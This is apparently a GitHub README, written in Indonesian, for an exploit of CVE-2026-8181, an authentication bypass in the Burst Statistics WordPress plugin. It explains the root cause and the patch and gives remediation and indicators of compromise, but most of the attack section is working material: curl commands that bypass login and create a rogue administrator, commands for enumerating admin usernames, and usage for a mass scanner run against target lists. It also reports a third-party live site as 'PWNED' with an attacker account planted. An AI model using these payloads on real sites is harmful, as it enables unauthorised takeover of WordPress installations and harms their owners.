Skip to content

Latest commit

Β 

History

8 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 

Repository files navigation

CVE-2026-8181 β€” Burst Statistics Authentication Bypass to Admin Account Takeover


πŸ“‹ Informasi Kerentanan

Item Detail
CVE ID CVE-2026-8181
Plugin Burst Statistics – Privacy-Friendly WordPress Analytics
Versi Terpengaruh 3.4.0 – 3.4.1.1
Versi Patched 3.4.2
CVSS Score 9.8 (Critical)
Tipe CWE-287: Improper Authentication
Vektor Serangan Network / Remote / Unauthenticated
Instalasi Aktif ~200,000+
Penemu PRISM, Wordfence Threat Intelligence
Tanggal Publikasi 8 Mei 2026

🎯 Ringkasan

Kerentanan Authentication Bypass kritis pada plugin WordPress Burst Statistics versi 3.4.0 hingga 3.4.1.1 memungkinkan attacker tanpa autentikasi untuk mendapatkan akses penuh administrator WordPress hanya dengan mengetahui username admin. Konsekuensinya adalah pengambilalihan akun admin lengkap, termasuk pembuatan akun baru, modifikasi konten, hingga instalasi plugin berbahaya.


πŸ”¬ Analisis Teknis

Root Cause

Kerentanan berada di method is_mainwp_authenticated() pada file includes/Frontend/class-mainwp-proxy.php:

// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Bug utama: wp_authenticate_application_password(null, $username, $password) mengembalikan null (bukan WP_Error) ketika Application Passwords tidak tersedia, yang terjadi pada:

  • Situs HTTP (bukan HTTPS) dimana wp_is_application_passwords_available() return false
  • Situs dimana is_ssl() return false

Karena is_wp_error(null) = false, kode melanjutkan ke get_user_by('login', $username) yang mengautentikasi hanya berdasarkan username tanpa validasi password sama sekali.

Eksekusi Awal (Early Execution)

Method has_admin_access() dipanggil saat hook plugins_loaded (prioritas 9) di class-burst.php baris 118:

if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Hook ini berjalan SEBELUM REST API route processing, sehingga wp_set_current_user() memberikan hak admin untuk SELURUH request β€” bukan hanya endpoint Burst.

Alur Serangan

Attacker ──HTTP Request──▢ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                β”‚
                β–Ό
        [plugins_loaded hook fires]
                β”‚
        Burst::bootstrap() β†’ has_admin_access()
                β”‚
        HTTP_X_BURSTMAINWP == '1' β†’ is_mainwp_authenticated()
                β”‚
        wp_authenticate_application_password(null, 'admin', 'anything')
                β”‚
        Situs HTTP β†’ wp_is_application_passwords_available() = false
                β”‚
        Return null (BUKAN WP_Error)
                β”‚
        is_wp_error(null) = false ← BYPASS!
                β”‚
        get_user_by('login', 'admin') β†’ found
                β”‚
        wp_set_current_user(admin_id) β†’ FULL ADMIN
                β”‚
        has_admin_access() = true
                β”‚
        [REST API memproses request dengan konteks admin]
                β”‚
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

πŸ’» Proof of Concept

Prasyarat

  • Target menjalankan HTTP (bukan HTTPS, atau SSL tidak terdeteksi dengan benar)
  • Plugin Burst Statistics versi 3.4.0 – 3.4.1.1 terinstal dan aktif
  • Mengetahui username admin (dapat di-enumerate)

Instalasi

pip3 install requests

Penggunaan β€” Single Target

# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Penggunaan β€” Multi Target (Mass Scanner)

python3 poc_CVE-2026-8181.py

Mode interaktif:

  1. Input file target list (.txt, satu domain per baris)
  2. Atur jumlah thread (default: 50)
  3. Atur kredensial akun baru
  4. Jalankan scan

Format targets.txt:

target1.com
target2.com
192.168.1.100
subdomain.example.org

PoC Minimal (curl)

# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"h@ck.er","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Enumerasi Username Admin

# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

βœ… Validasi Hasil

Pengujian dilakukan pada WordPress 6.9 dengan Burst Statistics 3.4.1.1 (localhost):

Pengujian Hasil Bukti
Akses /wp/v2/users/me tanpa auth GAGAL rest_not_logged_in
Akses dengan bypass headers BERHASIL Profil admin + email + roles
Buat akun administrator baru BERHASIL User ID 2, role: administrator
Baca WordPress settings BERHASIL Site title, admin email, URL
Dapatkan Application Password BERHASIL Base64 token admin:password
Daftar plugin terinstal BERHASIL Daftar lengkap dengan versi

Validasi Live Target

Target Hasil
ausdermitte-binz.de BERHASIL PWNED β€” Burst 3.4.1.1, bypass via binzwpadmin, akun xenon1337 dibuat (ID:30)

πŸ”§ Analisis Patch (v3.4.2)

Perbaikan di versi 3.4.2 mengatasi beberapa masalah:

  1. Cek return type yang benar:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. Force Application Passwords availability:
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. CSRF nonce requirement untuk cookie-authenticated requests
  2. Nonce replay protection dengan single-use enforcement via add_option()
  3. Removed legacy signature format yang tidak mengikat username

πŸ›‘οΈ Remediasi

Langkah Segera

  1. Update Burst Statistics ke versi 3.4.2 atau lebih baru
  2. Audit akun user β€” cek akun administrator yang tidak dikenal
  3. Cabut semua Application Passwords (wp_application_passwords user meta)
  4. Review email admin WordPress dan setting lainnya
  5. Cek plugin/theme yang tidak dikenal

Deteksi Indikator Kompromi

  • Cari di access log request dengan header X-BURSTMAINWP: 1 dari IP eksternal
  • Monitor tabel wp_users untuk akun administrator baru
  • Cek wp_options untuk transient burst_mainwp_app_token_*
  • Review Application Passwords di profil user

πŸ“ File yang Tersedia

File Deskripsi
exploit_CVE-2026-8181.py PoC exploit single target
poc_CVE-2026-8181.py Mass scanner multi-target dengan threading
README.md Dokumentasi ini

⚠️ Disclaimer

Tool dan dokumentasi ini hanya untuk pengujian keamanan yang sah dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah ilegal. Penulis tidak bertanggung jawab atas penyalahgunaan.


πŸ“š Referensi


About

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept

Resources

Stars

5 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages